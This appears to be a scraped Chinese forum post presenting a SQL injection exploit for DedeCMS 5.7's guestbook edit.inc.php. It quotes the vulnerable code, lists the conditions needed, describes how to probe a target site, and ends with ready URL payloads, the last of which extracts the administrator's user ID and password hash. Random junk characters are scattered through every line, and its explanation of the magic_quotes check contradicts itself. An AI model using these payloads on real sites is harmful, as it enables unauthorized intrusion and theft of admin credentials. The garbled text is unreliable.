影响版本为5.7 {8 p8 V3 U) V; E _: }0 O
9 V8 @/ K! m1 ^) A! Y漏洞文件edit.inc.php具体代码:" W9 w8 q& k% _ U8 q" M
5 q$ d0 E* ]& G
< ?php
% b6 G+ R2 X% v4 s0 b2 z7 z( l- M' Q
if(!defined('DEDEINC')) exit('Request Error!');
$ [0 i0 x! v: G
9 G3 b, {% J# o0 n6 ]
. d- z7 ~& E6 o+ R6 ~8 n( {% }& [: Z
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; ! P+ Y8 K! X2 M$ k3 D
; E+ `8 g+ c- _# x0 O c! W
else $GUEST_BOOK_POS = "guestbook.php"; ; U1 s# y9 H2 U2 A# d5 Y3 L) [
2 P$ }8 _( L. b+ Y2 M
) z4 c& K) w$ m( {7 u2 d' A0 J: ?7 l- ]3 e
$id = intval($id); % r% D0 \1 Z4 Y( J* F+ q
2 t. {0 b& g8 |! y! Z/ |if(empty($job)) $job='view'; ; j" d8 ^3 K1 ]1 R
. {0 ]% e3 l, `
3 V) J3 p" w8 O& ~ W$ A. R" f4 @5 d, y3 c
if($job=='del' && $g_isadmin)
. ^: n9 c9 X3 G( a0 {% T- L+ b8 ]- H; }2 i
{ ! ~( n' r6 H5 g) c
3 V5 a6 |1 Q6 @7 p- E3 w7 i1 } g$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
8 _2 s. `0 S7 v5 u5 g# Y
1 m2 Q* H) ^ \+ D4 RShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 4 o+ f: f3 A& d+ ~4 ^; P" F
# V# q9 p/ q& p( P
exit();
4 `, F& n% v- s8 c' x [" Q- y
$ `6 N5 x1 ^; j, \4 g; K5 Q# T7 ~}
: F9 |) V- u( l5 j) ?6 L4 u' x$ Z7 e' B r* x
else if($job=='check' && $g_isadmin) " O$ d1 E0 @1 M6 T! C
8 W$ U, ` H% u' B0 r3 u9 J# |# E9 n1 s{ " @8 Q+ x: @6 [' w. l
8 r9 m$ h. _6 r; S/ }$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 5 Z9 X3 K8 W( [- t8 v
2 j) l7 m( T3 C. J
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
+ K; E t# y5 {
* \! K# ~4 l" T, W6 \( l6 Hexit(); 3 J: P+ V* b) K. E& k1 T- z- r; R0 C+ Q
% i! ^$ }4 q# m9 ]" Y; }
}
& Y) \+ {; }9 v/ }( Y) |& `( b9 t0 ?
else if($job=='editok') / {9 n: t" {4 C( ?3 @# ~
- l1 g9 j8 o8 g [4 q9 H
{ ( l' N5 d* U2 K/ N) y$ C
$ B! J5 O0 @# J# W: I7 M Y7 B$remsg = trim($remsg);
, E7 T! |" j; @. G" b2 s5 ~4 ^
; _* \' F2 ^# g9 ^& @! U3 Z6 _1 `; ?if($remsg!='') - Y9 V, ^% U3 ]! b/ k' a, P
# w$ l1 E$ z$ F9 q: L{ ! \* S, X! a9 w
& E; O" H# d, X& @//管理员回复不过滤HTML By:Errorera blog:errs.cc _* {2 d0 W* Q/ A- J3 W
0 T) k- b- o4 D! Y% H. T: E9 eif($g_isadmin)
Z T' u' l6 `
( d t+ ~! |' B{
8 G9 |$ O! {9 ?2 r% ]9 ?. @, C2 Y4 T
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
8 _4 t5 ~* \. |* z2 q. R! n
$ M( c; G B* z: ^: a) A//$remsg <br /><font color=red>管理员回复:</font> }
$ @5 y% L$ \9 F
- G0 G L/ O+ O2 v, velse 5 K" C1 G! ?$ q7 B+ \2 O4 z
/ B# ]0 y* [% b$ o+ T! Y
{
' g' a: ?* x' s/ M+ V% u) m1 L3 t- M5 M9 l, P( |# F
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); : r" P# P4 h: e+ Q0 U; I% I9 B* ?
* e+ C) _1 v( e$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 1 g/ q( Y/ B6 k" o
6 B7 I6 L/ }1 e {+ Z. h2 B5 H$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 9 C2 S; g9 e% A# s2 ]- x* B
( j. @8 o+ o6 ^' H. s; S% Y7 e$msg = $oldmsg.$remsg;
) Z, h- x3 b; q& k2 g% d# Z) J' a3 ]- r% K/ H4 m& _& e
}
: r7 q; s( m- s" @' ]! b7 r7 j7 G( B+ K! ^1 N
} 0 p! T) @1 B2 z J1 ?
" I6 O; j( u C* b$ E
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
7 ~' v+ ?& g! g$ ]+ T9 k. x" y. u
- g, N& p: [, ?$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
9 g- `4 {* s/ `' B7 _0 v
o) X3 Q0 D8 k1 i$ r: f$ lShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); 1 E3 {5 s$ B9 M I$ P3 H* o- U
" D: z$ p" ]6 I* h* texit(); / C' X/ a1 [( _* k* Q: O* ^
- V: o( r0 l- E% w3 K; [
} 5 h" d. d4 R2 e. Y2 ]+ h: |) s
" @! x( `3 V5 C
//home:www.errs.cc " q8 U% j* b8 q. S1 S' C& i
5 Q" ^, I+ y4 g2 x) z
if($g_isadmin)
' d2 M! G6 l3 {. A
+ o9 m3 U8 O5 V( @1 l4 Q; v- C{ " U( x' k8 m4 @
6 l I) [5 z1 V' Z; P$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 4 h$ f5 g9 ^' g3 m% O) T
1 i6 n1 s4 a9 r5 D: n: trequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); , e" h) @* H9 o0 Y# J& @
# c7 W2 r; a' F4 F, C8 Y0 k" C} 4 |% }5 _# v9 V/ A" X1 p* l
( d; ^3 B. C V9 G9 C! \2 Yelse " g$ n4 \8 Q/ Y) ^5 w
$ O5 L0 U2 q2 _* M7 W4 o$ f& ~4 m{ : \* A3 E- {+ N) J
B4 E4 ?" H! a( [$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
: p. z: M, p5 y; J6 J$ o6 G/ o1 T0 b( x; S7 C
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
& p1 w( P0 h0 V* T" X: V- \, n% g, F _% r$ @0 d. S' T
} 漏洞成功需要条件:# K& _8 p; l3 P
1. php magic_quotes_gpc=off
" h6 I" k1 F) M, k) F3 j. G- C2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。( o* q* ^+ Z& [
6 f' v: J* i; Y. r/ r: w, U
怎么判断是否存在漏洞:
7 r- Q2 Y% s! }$ r先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
# g1 C- Z/ u: d: W然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
' _6 l2 r' N: K1 `访问:
9 l b2 G7 H' I
8 f( u% C: g2 n4 i& e8 U' B: f( B9 C3 Nwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了5 `0 S- ?3 t5 C/ t9 I* ^
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 v+ r5 t# S0 A l$ P# r! O
2 T% s: \/ o6 L0 @6 q# r
% q2 a$ b1 {( J2 j明漏洞无法利用应为他开启了 php magic_quotes_gpc=off# t* J U' B4 Q1 L$ a E- ^
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
4 p D" [( L& P那么再次访问
3 A, _; O8 J9 e; ]8 r' n6 x# ^
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user()., Y6 H( z1 m$ ~! h! n; }4 ]: ?" Y
; p3 D" `' i# l8 Q大概利用就是这样,大家有兴趣的多研究下!!$ L0 a/ f; o% Z" m# g+ k, m6 b$ i
]; e+ O; b% a# X3 g
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!6 J2 G% K+ N; L! u3 T9 p
# Q$ q, C: J: u6 q: [+ R
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |